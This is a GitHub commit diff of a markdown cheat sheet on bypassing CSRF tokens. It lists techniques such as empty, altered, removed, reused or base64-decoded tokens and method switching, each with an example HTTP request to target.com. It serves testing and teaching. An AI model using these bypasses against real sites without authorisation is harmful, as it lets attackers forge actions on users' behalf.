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Bypass CSRF [1]

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Muhammad Daffa 2020-09-20 00:06:53 +07:00 committed by GitHub
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BypassCSRF.md
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@ -13,7 +13,7 @@ POST /register HTTP/1.1
Host: target.com Host: target.com
[...] [...]
username=dapos&password=123456&token=aaaaaaaaaabaaaaaaaaaaa username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
``` ```
2. Sending empty value of token 2. Sending empty value of token
@ -33,7 +33,23 @@ Host: target.com
username=dapos&password=123456&token= username=dapos&password=123456&token=
``` ```
3. Changing POST / GET method 3. Replace the token with same length
```
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaabaa
4. Changing POST / GET method
``` ```
POST /register HTTP/1.1 POST /register HTTP/1.1
Host: target.com Host: target.com
@ -48,7 +64,7 @@ Host: target.com
[...] [...]
``` ```
4. Remove the token from request 5. Remove the token from request
``` ```
POST /register HTTP/1.1 POST /register HTTP/1.1
Host: target.com Host: target.com
@ -65,7 +81,7 @@ Host: target.com
username=dapos&password=123456 username=dapos&password=123456
``` ```
5. Use another user's valid token 6. Use another user's valid token
``` ```
POST /register HTTP/1.1 POST /register HTTP/1.1
Host: target.com Host: target.com
@ -74,7 +90,7 @@ Host: target.com
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
``` ```
6. Try to decrypt hash 7. Try to decrypt hash
``` ```
POST /register HTTP/1.1 POST /register HTTP/1.1
Host: target.com Host: target.com
@ -84,7 +100,7 @@ username=dapos&password=123456&token=MTIzNDU2
``` ```
MTIzNDU2 => 123456 with base64 MTIzNDU2 => 123456 with base64
7. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic 8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
``` ```
POST /register HTTP/1.1 POST /register HTTP/1.1
Host: target.com Host: target.com